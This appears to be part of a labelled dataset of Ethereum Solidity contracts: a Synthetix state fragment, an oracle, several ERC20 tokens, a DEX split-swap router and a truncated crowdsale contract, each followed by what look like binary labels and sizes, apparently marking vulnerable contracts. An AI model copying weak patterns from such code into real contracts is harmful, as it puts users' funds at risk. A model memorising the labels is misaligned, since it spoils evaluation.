uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency);
bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)");
function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal {
proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0);
}
event StateContractChanged(address stateContract);
bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)");
function emitStateContractChanged(address stateContract) internal {
proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0);
}
event SynthAdded(bytes4 currencyKey, address newSynth);
bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)");
function emitSynthAdded(bytes4 currencyKey, address newSynth) internal {
proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0);
}
event SynthRemoved(bytes4 currencyKey, address removedSynth);
bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)");
function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal {
proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0);
}
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = synthetix.totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
} | 1 | 2,715 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferTo(address _to) public onlyOwner returns (bool) {
require(_to != address(0));
owner = _to;
return true;
}
}
contract Delegable is Ownable {
mapping(address => DelegateLog) public delegates;
struct DelegateLog {
uint256 started;
uint256 ended;
}
modifier onlyDelegate() {
DelegateLog memory delegateLog = delegates[msg.sender];
require(delegateLog.started != 0 && delegateLog.ended == 0);
_;
}
function wasDelegate(address _address, uint256 timestamp) public view returns (bool) {
DelegateLog memory delegateLog = delegates[_address];
return timestamp >= delegateLog.started && delegateLog.started != 0 && (delegateLog.ended == 0 || timestamp < delegateLog.ended);
}
function isDelegate(address _address) public view returns (bool) {
DelegateLog memory delegateLog = delegates[_address];
return delegateLog.started != 0 && delegateLog.ended == 0;
}
function addDelegate(address _address) public onlyOwner returns (bool) {
DelegateLog storage delegateLog = delegates[_address];
require(delegateLog.started == 0);
delegateLog.started = block.timestamp;
return true;
}
function removeDelegate(address _address) public onlyOwner returns (bool) {
DelegateLog storage delegateLog = delegates[_address];
require(delegateLog.started != 0 && delegateLog.ended == 0);
delegateLog.ended = block.timestamp;
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract RipioOracle is Oracle, Delegable {
uint256 public expiration = 15 minutes;
uint constant private INDEX_TIMESTAMP = 0;
uint constant private INDEX_RATE = 1;
uint constant private INDEX_DECIMALS = 2;
uint constant private INDEX_V = 3;
uint constant private INDEX_R = 4;
uint constant private INDEX_S = 5;
string private infoUrl;
mapping(bytes32 => RateCache) private cache;
address public fallback;
struct RateCache {
uint256 timestamp;
uint256 rate;
uint256 decimals;
}
function url() public view returns (string) {
return infoUrl;
}
function setExpirationTime(uint256 time) public onlyOwner returns (bool) {
expiration = time;
return true;
}
function setUrl(string _url) public onlyOwner returns (bool) {
infoUrl = _url;
return true;
}
function setFallback(address _fallback) public onlyOwner returns (bool) {
fallback = _fallback;
return true;
}
function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) {
if(data.length / 32 > index) {
assembly {
o := mload(add(data, add(32, mul(32, index))))
}
}
}
function sendTransaction(address to, uint256 value, bytes data) public onlyOwner returns (bool) {
return to.call.value(value)(data);
}
function getRate(bytes32 currency, bytes data) public returns (uint256, uint256) {
if (fallback != address(0)) {
return Oracle(fallback).getRate(currency, data);
}
uint256 timestamp = uint256(readBytes32(data, INDEX_TIMESTAMP));
require(timestamp <= block.timestamp);
uint256 expirationTime = block.timestamp - expiration;
if (cache[currency].timestamp >= timestamp && cache[currency].timestamp >= expirationTime) {
return (cache[currency].rate, cache[currency].decimals);
} else {
require(timestamp >= expirationTime);
uint256 rate = uint256(readBytes32(data, INDEX_RATE));
uint256 decimals = uint256(readBytes32(data, INDEX_DECIMALS));
uint8 v = uint8(readBytes32(data, INDEX_V));
bytes32 r = readBytes32(data, INDEX_R);
bytes32 s = readBytes32(data, INDEX_S);
bytes32 _hash = keccak256(this, currency, rate, decimals, timestamp);
address signer = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", _hash),v,r,s);
require(isDelegate(signer));
cache[currency] = RateCache(timestamp, rate, decimals);
return (rate, decimals);
}
}
} | 0 | 1,236 |
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract BKEXComToken {
string public name = "BKEX.COM Token";
string public symbol = "bkex.com";
uint256 public decimals = 18;
uint256 public totalSupply = 300*1000*1000*1000*10**decimals;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function BKEXComToken(
) public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,050 |
pragma solidity ^0.5.7;
interface TokenInterface {
function allowance(address, address) external view returns (uint);
function balanceOf(address) external view returns (uint);
function approve(address, uint) external;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function deposit() external payable;
function withdraw(uint) external;
}
interface UniswapExchange {
function getEthToTokenInputPrice(uint ethSold) external view returns (uint tokenBought);
function getTokenToEthInputPrice(uint tokenSold) external view returns (uint ethBought);
function ethToTokenSwapInput(uint minTokens, uint deadline) external payable returns (uint tokenBought);
function tokenToEthSwapInput(uint tokenSold, uint minEth, uint deadline) external returns (uint ethBought);
}
interface KyberInterface {
function trade(
address src,
uint srcAmount,
address dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
) external payable returns (uint);
function getExpectedRate(
address src,
address dest,
uint srcQty
) external view returns (uint, uint);
}
interface Eth2DaiInterface {
function getBuyAmount(address dest, address src, uint srcAmt) external view returns(uint);
function getPayAmount(address src, address dest, uint destAmt) external view returns (uint);
function sellAllAmount(
address src,
uint srcAmt,
address dest,
uint minDest
) external returns (uint destAmt);
function buyAllAmount(
address dest,
uint destAmt,
address src,
uint maxSrc
) external returns (uint srcAmt);
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-not-safe");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
}
contract Helper is DSMath {
address public eth2daiAddr = 0x39755357759cE0d7f32dC8dC45414CCa409AE24e;
address public uniswapAddr = 0x09cabEC1eAd1c0Ba254B09efb3EE13841712bE14;
address public kyberAddr = 0x818E6FECD516Ecc3849DAf6845e3EC868087B755;
address public ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public daiAddr = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public adminOne = 0xa7615CD307F323172331865181DC8b80a2834324;
address public adminTwo = 0x7284a8451d9a0e7Dc62B3a71C0593eA2eC5c5638;
uint public maxSplitAmtEth = 60000000000000000000;
uint public maxSplitAmtDai = 20000000000000000000000;
uint public cut = 997500000000000000;
uint public minDai = 200000000000000000000;
uint public minEth = 1000000000000000000;
function setAllowance(TokenInterface _token, address _spender) internal {
if (_token.allowance(address(this), _spender) != uint(-1)) {
_token.approve(_spender, uint(-1));
}
}
modifier isAdmin {
require(msg.sender == adminOne || msg.sender == adminTwo, "Not an Admin");
_;
}
}
contract AdminStuffs is Helper {
function setSplitEth(uint amt) public isAdmin {
maxSplitAmtEth = amt;
}
function setSplitDai(uint amt) public isAdmin {
maxSplitAmtDai = amt;
}
function withdrawToken(address token) public isAdmin {
uint daiBal = TokenInterface(token).balanceOf(address(this));
TokenInterface(token).transfer(msg.sender, daiBal);
}
function withdrawEth() public payable isAdmin {
msg.sender.transfer(address(this).balance);
}
function changeFee(uint amt) public isAdmin {
if (amt > 997000000000000000) {
cut = 997000000000000000;
} else {
cut = amt;
}
}
function changeMinEth(uint amt) public isAdmin {
minEth = amt;
}
function changeMinDai(uint amt) public isAdmin {
minDai = amt;
}
}
contract SplitHelper is AdminStuffs {
function getBest(address src, address dest, uint srcAmt) public view returns (uint bestExchange, uint destAmt) {
uint finalSrcAmt = srcAmt;
if (src == daiAddr) {
finalSrcAmt = wmul(srcAmt, cut);
}
uint eth2DaiPrice = getRateEth2Dai(src, dest, finalSrcAmt);
uint kyberPrice = getRateKyber(src, dest, finalSrcAmt);
uint uniswapPrice = getRateUniswap(src, dest, finalSrcAmt);
if (eth2DaiPrice > kyberPrice && eth2DaiPrice > uniswapPrice) {
destAmt = eth2DaiPrice;
bestExchange = 0;
} else if (kyberPrice > eth2DaiPrice && kyberPrice > uniswapPrice) {
destAmt = kyberPrice;
bestExchange = 1;
} else {
destAmt = uniswapPrice;
bestExchange = 2;
}
if (dest == daiAddr) {
destAmt = wmul(destAmt, cut);
}
require(destAmt != 0, "Dest Amt = 0");
}
function getBestUniswapKyber(address src, address dest, uint srcAmt) public view returns (uint bestExchange, uint destAmt) {
uint finalSrcAmt = srcAmt;
if (src == daiAddr) {
finalSrcAmt = wmul(srcAmt, cut);
}
uint kyberPrice = getRateKyber(src, dest, finalSrcAmt);
uint uniswapPrice = getRateUniswap(src, dest, finalSrcAmt);
if (kyberPrice >= uniswapPrice) {
destAmt = kyberPrice;
bestExchange = 1;
} else {
destAmt = uniswapPrice;
bestExchange = 2;
}
if (dest == daiAddr) {
destAmt = wmul(destAmt, cut);
}
require(destAmt != 0, "Dest Amt = 0");
}
function getRateEth2Dai(address src, address dest, uint srcAmt) internal view returns (uint destAmt) {
if (src == ethAddr) {
destAmt = Eth2DaiInterface(eth2daiAddr).getBuyAmount(dest, wethAddr, srcAmt);
} else if (dest == ethAddr) {
destAmt = Eth2DaiInterface(eth2daiAddr).getBuyAmount(wethAddr, src, srcAmt);
}
}
function getRateKyber(address src, address dest, uint srcAmt) internal view returns (uint destAmt) {
(uint kyberPrice,) = KyberInterface(kyberAddr).getExpectedRate(src, dest, srcAmt);
destAmt = wmul(srcAmt, kyberPrice);
}
function getRateUniswap(address src, address dest, uint srcAmt) internal view returns (uint destAmt) {
if (src == ethAddr) {
destAmt = UniswapExchange(uniswapAddr).getEthToTokenInputPrice(srcAmt);
} else if (dest == ethAddr) {
destAmt = UniswapExchange(uniswapAddr).getTokenToEthInputPrice(srcAmt);
}
}
}
contract SplitResolver is SplitHelper {
event LogEthToDai(address user, uint srcAmt, uint destAmt);
event LogDaiToEth(address user, uint srcAmt, uint destAmt);
function swapEth2Dai(address src, address dest, uint srcAmt) internal returns (uint destAmt) {
if (src == wethAddr) {
TokenInterface(wethAddr).deposit.value(srcAmt)();
}
destAmt = Eth2DaiInterface(eth2daiAddr).sellAllAmount(
src,
srcAmt,
dest,
0
);
}
function swapKyber(address src, address dest, uint srcAmt) internal returns (uint destAmt) {
uint ethAmt = src == ethAddr ? srcAmt : 0;
destAmt = KyberInterface(kyberAddr).trade.value(ethAmt)(
src,
srcAmt,
dest,
address(this),
2**255,
0,
adminOne
);
}
function swapUniswap(address src, address dest, uint srcAmt) internal returns (uint destAmt) {
if (src == ethAddr) {
destAmt = UniswapExchange(uniswapAddr).ethToTokenSwapInput.value(srcAmt)(1, block.timestamp + 1);
} else if (dest == ethAddr) {
destAmt = UniswapExchange(uniswapAddr).tokenToEthSwapInput(srcAmt, 1, block.timestamp + 1);
}
}
function ethToDaiBestSwap(uint bestExchange, uint amtToSwap) internal returns (uint destAmt) {
if (bestExchange == 0) {
destAmt += swapEth2Dai(wethAddr, daiAddr, amtToSwap);
} else if (bestExchange == 1) {
destAmt += swapKyber(ethAddr, daiAddr, amtToSwap);
} else {
destAmt += swapUniswap(ethAddr, daiAddr, amtToSwap);
}
}
function ethToDaiLoop(uint srcAmt, uint splitAmt, uint finalAmt) internal returns (uint destAmt) {
if (srcAmt > splitAmt) {
uint amtToSwap = splitAmt;
uint nextSrcAmt = srcAmt - splitAmt;
(uint bestExchange,) = getBest(ethAddr, daiAddr, amtToSwap);
uint daiBought = finalAmt;
daiBought += ethToDaiBestSwap(bestExchange, amtToSwap);
destAmt = ethToDaiLoop(nextSrcAmt, splitAmt, daiBought);
} else if (srcAmt > minEth) {
(uint bestExchange,) = getBest(ethAddr, daiAddr, srcAmt);
destAmt = finalAmt;
destAmt += ethToDaiBestSwap(bestExchange, srcAmt);
} else if (srcAmt > 0) {
(uint bestExchange,) = getBestUniswapKyber(ethAddr, daiAddr, srcAmt);
destAmt = finalAmt;
destAmt += ethToDaiBestSwap(bestExchange, srcAmt);
} else {
destAmt = finalAmt;
}
}
function daiToEthBestSwap(uint bestExchange, uint amtToSwap) internal returns (uint destAmt) {
if (bestExchange == 0) {
destAmt += swapEth2Dai(daiAddr, wethAddr, amtToSwap);
} else if (bestExchange == 1) {
destAmt += swapKyber(daiAddr, ethAddr, amtToSwap);
} else {
destAmt += swapUniswap(daiAddr, ethAddr, amtToSwap);
}
}
function daiToEthLoop(uint srcAmt, uint splitAmt, uint finalAmt) internal returns (uint destAmt) {
if (srcAmt > splitAmt) {
uint amtToSwap = splitAmt;
uint nextSrcAmt = srcAmt - splitAmt;
(uint bestExchange,) = getBest(daiAddr, ethAddr, amtToSwap);
uint ethBought = finalAmt;
ethBought += daiToEthBestSwap(bestExchange, amtToSwap);
destAmt = daiToEthLoop(nextSrcAmt, splitAmt, ethBought);
} else if (srcAmt > minDai) {
(uint bestExchange,) = getBest(daiAddr, ethAddr, srcAmt);
destAmt = finalAmt;
destAmt += daiToEthBestSwap(bestExchange, srcAmt);
} else if (srcAmt > 0) {
(uint bestExchange,) = getBestUniswapKyber(daiAddr, ethAddr, srcAmt);
destAmt = finalAmt;
destAmt += daiToEthBestSwap(bestExchange, srcAmt);
} else {
destAmt = finalAmt;
}
}
function wethToEth() internal {
TokenInterface wethContract = TokenInterface(wethAddr);
uint balanceWeth = wethContract.balanceOf(address(this));
if (balanceWeth > 0) {
wethContract.withdraw(balanceWeth);
}
}
}
contract Swap is SplitResolver {
function ethToDaiSwap(uint splitAmt, uint slippageAmt) public payable returns (uint destAmt) {
require(maxSplitAmtEth >= splitAmt, "split amt > max");
destAmt = ethToDaiLoop(msg.value, splitAmt, 0);
destAmt = wmul(destAmt, cut);
require(destAmt > slippageAmt, "Dest Amt < slippage");
require(TokenInterface(daiAddr).transfer(msg.sender, destAmt), "Not enough DAI to transfer");
emit LogEthToDai(msg.sender, msg.value, destAmt);
}
function daiToEthSwap(uint srcAmt, uint splitAmt, uint slippageAmt) public returns (uint destAmt) {
require(maxSplitAmtDai >= splitAmt, "split amt > max");
require(TokenInterface(daiAddr).transferFrom(msg.sender, address(this), srcAmt), "Token Approved?");
uint finalSrcAmt = wmul(srcAmt, cut);
destAmt = daiToEthLoop(finalSrcAmt, splitAmt, 0);
wethToEth();
require(destAmt > slippageAmt, "Dest Amt < slippage");
msg.sender.transfer(destAmt);
emit LogDaiToEth(msg.sender, finalSrcAmt, destAmt);
}
}
contract SplitSwap is Swap {
constructor() public {
setAllowance(TokenInterface(daiAddr), eth2daiAddr);
setAllowance(TokenInterface(daiAddr), kyberAddr);
setAllowance(TokenInterface(daiAddr), uniswapAddr);
setAllowance(TokenInterface(wethAddr), eth2daiAddr);
setAllowance(TokenInterface(wethAddr), wethAddr);
}
function() external payable {}
} | 1 | 3,014 |
pragma solidity ^0.4.25;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token, SafeMath {
constructor () public {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract UPFToken is AbstractToken {
uint256 constant MAX_TOKEN_COUNT = 3000000000 * (10**18);
address private owner;
mapping (address => bool) private frozenAccount;
uint256 tokenCount = 0;
bool frozen = false;
constructor () public {
owner = msg.sender;
}
function totalSupply() public constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "uPowerFund";
string constant public symbol = "UPF";
uint8 constant public decimals = 18;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
event Freeze ();
event Unfreeze ();
event FrozenFunds(address target, bool frozen);
event RefundTokens(address _token, address _refund, uint256 _value);
} | 1 | 2,293 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
address public tier;
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function updateRate(uint newOneTokenInWei) public;
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
bool public reservedTokensAreDistributed = false;
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function distributeReservedTokens(uint reservedTokensDistributionBatch);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
string public name;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
bool public finalized;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint8 public joinedCrowdsalesLen = 0;
uint8 public joinedCrowdsalesLenMax = 50;
struct JoinedCrowdsaleStatus {
bool isJoined;
uint8 position;
}
mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
address[] public whitelistedParticipants;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Whitelisted(address addr, bool status, uint minCap, uint maxCap);
